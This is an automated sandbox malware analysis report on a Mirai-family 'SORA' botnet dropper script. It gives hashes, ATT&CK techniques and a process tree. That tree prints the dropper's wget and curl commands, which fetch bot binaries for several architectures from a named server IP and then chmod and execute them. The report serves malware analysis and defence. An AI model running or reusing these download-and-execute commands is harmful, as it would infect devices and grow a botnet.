mirai | 8d9649632f6024166b5efce1d24fe2db1b3a1fd74e47dbd1aa99069922bd801b

Analysis

max time kernel
150s
max time network
149s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
27/10/2026, 09:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lg.sh
Size 2KB
Sample261027-k2d3nasybw
SHA256 8d9649632f6024166b5efce1d24fe2db1b3a1fd74e47dbd1aa99069922bd801b
MD5 a3adf4e14d97058197e2d6cd139ffe29
SHA1 b6fbd8235ba5018df0b58a8f33ea2e1d0d969912
SHA512 f97e5834fd81c3c97a41ff2c32a66dadd9db05d7461b843003ecfc1daaeba5325b33109121b0f7ad099cc6e7a08d83330b3c8d4aceeb3af5868a658b08c18bd5
TLSH
T1DD5181D833560AB67FF19D53B6F58A147680E4A15EC26E45D0FC7CBD654CF0C24A06E2
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet sora defense_evasion discovery mirai upx

Malware Config

Extracted

Family

mirai

Botnet

SORA

204.194.50.3

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Contacts a large (45736) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 7 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
812	chmod
818	chmod
836	chmod
741	chmod
747	chmod
760	chmod
784	chmod

Executes dropped EXE 7 IoCs

ioc	pid	Process
/tmp/robben	742	lg.sh
/tmp/robben	748	lg.sh
/tmp/robben	761	lg.sh
/tmp/robben	786	lg.sh
/tmp/robben	813	lg.sh
/tmp/robben	819	lg.sh
/tmp/robben	837	lg.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	robben
File opened for modification	/dev/misc/watchdog	robben

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/files/fstream-1.dat	upx
behavioral3/files/fstream-5.dat	upx

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	0foip3fj2ok410fpb	748	robben

Reads runtime system information 27 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/788/exe	robben
File opened for reading	/proc/793/exe	robben
File opened for reading	/proc/430/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/675/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/707/exe	robben
File opened for reading	/proc/709/exe	robben
File opened for reading	/proc/713/exe	robben
File opened for reading	/proc/716/exe	robben
File opened for reading	/proc/752/exe	robben
File opened for reading	/proc/666/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/851/exe	robben
File opened for reading	/proc/700/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/668/exe	robben
File opened for reading	/proc/673/exe	robben
File opened for reading	/proc/676/exe	robben
File opened for reading	/proc/702/exe	robben
File opened for reading	/proc/711/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/749/exe	robben
File opened for reading	/proc/708/exe	robben

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
745	curl
746	cat
744	wget

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sora.x86_64	curl
File opened for modification	/tmp/sora.mpsl	wget
File opened for modification	/tmp/sora.mpsl	curl
File opened for modification	/tmp/sora.arm5	wget
File opened for modification	/tmp/sora.x86	wget
File opened for modification	/tmp/sora.x86	curl
File opened for modification	/tmp/sora.mips	wget
File opened for modification	/tmp/sora.mips	curl
File opened for modification	/tmp/sora.i468	curl
File opened for modification	/tmp/sora.i686	curl
File opened for modification	/tmp/sora.arm4	curl
File opened for modification	/tmp/sora.arm5	curl
File opened for modification	/tmp/robben	lg.sh

/tmp/lg.sh
/tmp/lg.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:711
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.x86
  2⤵
  - Writes file to tmp directory
  PID:714
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:734
- /bin/cat
  cat sora.x86
  2⤵
  PID:740
- /bin/chmod
  chmod +x lg.sh robben sora.x86 systemd-private-ddfbadba876f4cbcb55d7f779f14a486-systemd-timedated.service-F4eeox
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/robben
  ./robben lg.exploit
  2⤵
  PID:742
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:744
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:745
- /bin/cat
  cat sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:746
- /bin/chmod
  chmod +x lg.sh robben sora.mips sora.x86 systemd-private-ddfbadba876f4cbcb55d7f779f14a486-systemd-timedated.service-F4eeox
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/robben
  ./robben lg.exploit
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:748
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.x86_64
  2⤵
  PID:755
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:756
- /bin/cat
  cat sora.x86_64
  2⤵
  PID:759
- /bin/chmod
  chmod +x lg.sh robben sora.mips sora.x86 sora.x86_64 systemd-private-ddfbadba876f4cbcb55d7f779f14a486-systemd-timedated.service-F4eeox
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/robben
  ./robben lg.exploit
  2⤵
  PID:761
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.i468
  2⤵
  PID:764
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.i468
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:772
- /bin/cat
  cat sora.i468
  2⤵
  PID:783
- /bin/chmod
  chmod +x lg.sh robben sora.i468 sora.mips sora.x86 sora.x86_64 systemd-private-ddfbadba876f4cbcb55d7f779f14a486-systemd-timedated.service-F4eeox
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/robben
  ./robben lg.exploit
  2⤵
  PID:786
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.i686
  2⤵
  PID:788
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:795
- /bin/cat
  cat sora.i686
  2⤵
  PID:811
- /bin/chmod
  chmod +x lg.sh robben sora.i468 sora.i686 sora.mips sora.x86 sora.x86_64 systemd-private-ddfbadba876f4cbcb55d7f779f14a486-systemd-timedated.service-F4eeox
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/robben
  ./robben lg.exploit
  2⤵
  PID:813
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.mpsl
  2⤵
  - Writes file to tmp directory
  PID:815
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/cat
  cat sora.mpsl
  2⤵
  PID:817
- /bin/chmod
  chmod +x lg.sh robben sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-ddfbadba876f4cbcb55d7f779f14a486-systemd-timedated.service-F4eeox
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/robben
  ./robben lg.exploit
  2⤵
  PID:819
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.arm4
  2⤵
  PID:821
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.arm4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/cat
  cat sora.arm4
  2⤵
  PID:835
- /bin/chmod
  chmod +x lg.sh robben sora.arm4 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-ddfbadba876f4cbcb55d7f779f14a486-systemd-timedated.service-F4eeox
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/robben
  ./robben lg.exploit
  2⤵
  PID:837
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.arm5
  2⤵
  - Writes file to tmp directory
  PID:840
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:851

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

robben

Path /tmp/robben
Size 28KB
SHA256 02d1745fc1932ca560190c8f9850320f6374255df0e7f91bdcd8cea323567ca4
MD5 621de2bb172f4fce9bdeae0fcb1ada32
SHA1 b6a2c7c64432ce489d24564fdaf3b6abd781df95
SHA512 7c268d757ef432bdb1407d23498a802dbd340c226cbaafa6a52f98561dc3228f13d2af62c1008e8601044a3e1018b805d4ce95326ecdc4da933972c0682b9404
SSDEEP 768:yxMWBhAHuLegF1aF4NscfOl8liVHNWeUecJgGlzDpbuR1JA:yxdBGuLea19acfjliXWexUVJui
TLSH
T1CFD2D0B91A0B4ADEDE9BCCF6C3E013E0192A0E129903FD4AB49CD7475B675C4A107AD8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

robben

Path /tmp/robben
Size 214B
SHA256 db2dfc1e627fb90bd986951fff590c1f4d0df26fca0ad2af94ccfdec2ab6aa25
MD5 65f6781c1fd861446ef37c2b9c51364c
SHA1 88d4aa4932e110c5265b1d63657746c4a113963e
SHA512 0ed4057b1653e93330fbf07902f19ad0c7957f334d754f52446812d7af8be1b5f5f228b6f375b261b5f6e3c827b97cea3eb138fdfc1b97cc22e78b57e4c31314
TLSH
T1A5D0239EE143224B412211D03EC215D1544C1366F87645E82C817449910C63DC4CA19C
MD5 SHA1 SHA512 TLSH

Submit Download

robben

Path /tmp/robben
Size 212B
SHA256 3ffdc3e7f17876fa23ee6595712e544975dc985d313fe07fd103e6cd3606b435
MD5 83ab6cd9a67528bbc6f4f360cb7f8d83
SHA1 07e8f17209e0569aab39f062568ff0090d9b20d4
SHA512 171e8022f004540814acfc611cd0c46f708fdc6dd2590042981cb00f8136baa6521155549a77e98352901b0dfa5a8d284feb37a7babf9e2bf400a9acc3bb686f
TLSH
T126D0229EE283628B812225D03EC215D2244C23A6F97645E82C82B48A920C63DC4DA69D
MD5 SHA1 SHA512 TLSH

Submit Download

robben

Path /tmp/robben
Size 29KB
SHA256 76a9dc3713f2065c9d688eeff0fd175770fd706c94a9932893ab1d55c49e8325
MD5 d320a6f0a227af67cdfe38b32f58ae54
SHA1 15c13d1f3d5a91517ae611f15074a61fe3d713dc
SHA512 268c46c96594bd85649e3b8ced5bd2380d7d53504bcf1fa9f5115e1b0e4e43b49ac1f08fa5ee538f977160af7172aad53f1ee004e3b7a1c098b540d817a53127
SSDEEP 768:o1uUtLrVDsAp6tLkF4FuetwEub4sU/M9g36KNZ1Jb8WUi:obDs06t4BEub4sU/MbUZ1Ai
TLSH
T13AD2E16CC95DBD05CAAE3EB955DE56F5388C70C0635DB9CE17268408F61BA8BFC070A8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sora.x86

Path /tmp/sora.x86
Size 27KB
SHA256 d416e786af64b877744b04d16f6134503993c9f1bb43427c4790fae615833e0c
MD5 7af1c8395f2843ab456c1bf9a3b4d596
SHA1 e087341edf7f35e45bdf95b001bbfd375b15b856
SHA512 52ac703177e4e5e6639b6ca3757f2458ba391c59fd035ad2f13aa1418543b24ba9ed1ee6f244a54c38ae08f604aa3d0b7ab144ceeac904b70c16f9865a144a16
SSDEEP 384:MX1DMwk8JPyGNoDZsEXVZVBy6xIJSlSmknnLZddZ6TJfUVlMWEbo28tEe5mjIgaj:qMw4DZdFbBy6x3K/KdWnH5n2ep0NW
TLSH
T180C2E1BC7EBB6F83CE1700356598FE3782B0A5A5D35BB6D6B24485016C130E5BA26CD4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads